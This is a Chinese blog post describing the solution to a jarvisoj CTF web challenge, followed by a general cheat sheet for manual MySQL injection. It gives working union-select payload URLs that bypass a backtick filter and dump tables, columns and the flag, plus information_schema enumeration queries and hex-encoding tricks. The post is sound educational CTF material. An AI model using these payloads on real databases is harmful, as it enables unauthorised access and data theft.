mysql手工注入绕过_从一个ctf简单总结下mysql手工注入

文章最后更新时间为:2019年04月03日 15:26:47

0x01 先拿flag

有个很不错的ctf平台jarvisoj,上面收录了一些经典的ctf题目。今天做了一个web题,借此记录一下sql手工注入的语句。hint:先找到源码再说吧~~<?php

require("config.php");

$table = $_GET['table']?$_GET['table']:"test";

$table = Filter($table);

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

$sql = "select 'flag{xxx}' from secret_{$table}";

$ret = sql_query($sql);

echo $ret[0];

?>

分析程序可知程序接收tables参数,我们需要通过mysqli_query($mysqli,"desc `secret_{$table}`"),并且利用$sql = "select 'flag{xxx}' from secret_{$table}";来执行注入。

我们知道desc是用来查表的结构的,其使用方法是desc+表名,后面还可以加个字段名,看下图就很清晰了。

7b39dead0f32dc0665e72ee811e6ab82.png

对于表名,使用反引号和单引号的区别不是文章的重点,可以百度到,但是这里有个点:desc users xxx; // 返回空

desc `users` `xxx`; //返回空

desc 'users' 'xxx'; //报错

这里应该也是题目用引号的原因,我们构造类似于下面的结构就可以绕过mysqli_query($mysqli,"desc `secret_{$table}`")了table=test` `xxx

6dfa90ea4d6ba51b22ef2926a0223eca.png

接下来利用上面的形式来利用"select 'flag{xxx}' from secret_{$table}";查数据库 http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1,1

查表 http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(distinct table_name) from information_schema.columns where table_schema=database() limit 1,1

229ce37f424b56395ef87209507c5fb7.png

查字段 http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(distinct column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1

df7173666c552c3c39d7fd1925a68343.png

查数据http://web.jarvisoj.com:32794/index.php?table=test`% `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1

1cff60cee7290434eefad07e699bfef3.png

到这里似乎一切顺利,但回顾一下刚才的注入流程,第一条查询数据库的语句可还原为:

select 'flag{xxx}' from secret_test` `union select database() limit 1,1

这里令人不解,中间的反引号为什么没有影响到语句的执行

为了解决疑问,自己在本地搭建了环境,并且试着将反引号改为单引号或者双引号:

3f73d7ce6be7505a29f3c070818004f8.png

搜索了一下mysql对反引号的处理,似乎没有结果,这里暂且留下一个疑问,也欢迎大家留言指正。

0x02 一般的MYSQL手工注入语句

没什么特别的姿势,这里仅记录一下一般的注入语句,每次都手打太累了。

一般手工注入的姿势为:判断时什么注入,有无过滤关键词 --> 获取数据库用户、版本、当前数据库 --> 获取数据库的某个表 --> 获取字段 --> 获取数据

几个常用函数:version()——MySQL版本

user()——用户名

database()——数据库名

@@datadir——数据库路径

@@version_compile_os——操作系统版本

这里一般要用到连接函数concat(str1,str2,...)直接连接字符串,没有分隔符

concat_ws(separator, str1, str2,...)连接字符串,中间用separator分割

group_concat()用来连接某个字段,用逗号分割mysql> select concat('hello','world');

+-------------------------+

| concat('hello','world') |

+-------------------------+

| helloworld |

+-------------------------+

1 row in set (0.00 sec)

mysql> select concat_ws(',','hello','world');

+--------------------------------+

| concat_ws(',','hello','world') |

+--------------------------------+

| hello,world |

+--------------------------------+

1 row in set (0.00 sec)

mysql> select group_concat(username) from users;

+-----------------------------------------------------------------+

| group_concat(username) |

+-----------------------------------------------------------------+

| Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin |

+-----------------------------------------------------------------+

利用连接函数可以一次查出基本信息:

concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)

concat_ws(0x3a,version(),user(),database(),@@datadir,@@version_compile_os)

group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)

500aec26393caa9b544a705e3e69d21c.png

具体的查询语句有很多,主要是依靠information_schema这个库,平时用一种方法也就够了,这里只利用了information_schema.columns这个表。查数据库:(distinct去除了重复数值)

select group_concat(distinct table_schema) from information_schema.columns;

424bd2025dc656ba8035c6ba516c74ae.png查数据库表(库名用16进制,也可以直接用database(),直接加单双引号可能发送错误)

select group_concat(distinct table_name) from information_schema.columns where table_schema = 库名十六进制

564c2000e075e8975feb6da5ae44345b.png查表的字段

select group_concat(distinct column_name) from information_schema.columns where table_name = 表名十六进制

ca09b4e04a82b1031f0bdf2e006166ca.png查数据(0x3a是分号的ascii码)

select group_concat(列1,0x3a,列2,...) from 表名(不能是十六进制)

a7c2e0f24e2e591df99440fa65a716ee.png

小思考

写到这里突然想起前几面找实习面试的时候,面试官问了一个问题,sql语句中什么字段可以编码?

sql语句能用16进制地方的最好用16进制,因为单引号双引号可能造成一些错误,但是什么地方可以16进制编码这个问题还真没思考过。我们可以做些实验。

首先列举出不能编码的字段:

3b65e8f5d03e3b0ff99ff51e9312504a.png

639c0f5e38c67c2cff3fa24edc8db279.png

然后列举可以编码的字段:

69f40c015b9afddce8fc3cff453103da.png

可以看出mysql会对用来比较的字段进行转换,也会对函数参数进行转化。当我们对不同类型的值进行比较的时候,为了使得这些数值可比较,MySQL会做一些隐式转化(Implicit type conversion),具体可参考https://blog.devopszen.com/mysql_params 、 https://dev.mysql.com/doc/refman/5.7/en/type-conversion.html

0x03 reference

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值